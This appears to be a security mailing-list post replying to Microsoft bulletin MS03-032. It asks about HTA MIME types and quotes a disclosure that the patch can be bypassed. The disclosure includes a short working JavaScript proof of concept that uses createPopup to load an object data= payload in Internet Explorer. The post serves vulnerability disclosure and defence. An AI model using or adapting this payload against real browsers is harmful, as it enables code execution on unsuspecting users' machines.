RE: BAD NEWS: Microsoft Security Bulletin MS03-032

Can this bug also be fixed by changing the MIME type of HTA files from
"application/hta" to something else?  If so, what other MIME types need
to switched to avoid the <OBJECT DATA=>?  Any thoughts why .HTA files
have a MIME type in the first place?

Since the cat somehow got out of the bag, and more importantly, this 
is so blatantly obvious, herewith is the "Bad News":

The patch for Drew's object data=funky.hta doesn't work:

<script>
  var oPopup = window.createPopup();

  function showPopup() {
    oPopup.document.body.innerHTML = "<object data=ouch.php>";
    oPopup.show(0,0,1,1,document.body);
  }
  
  showPopup()
</script>
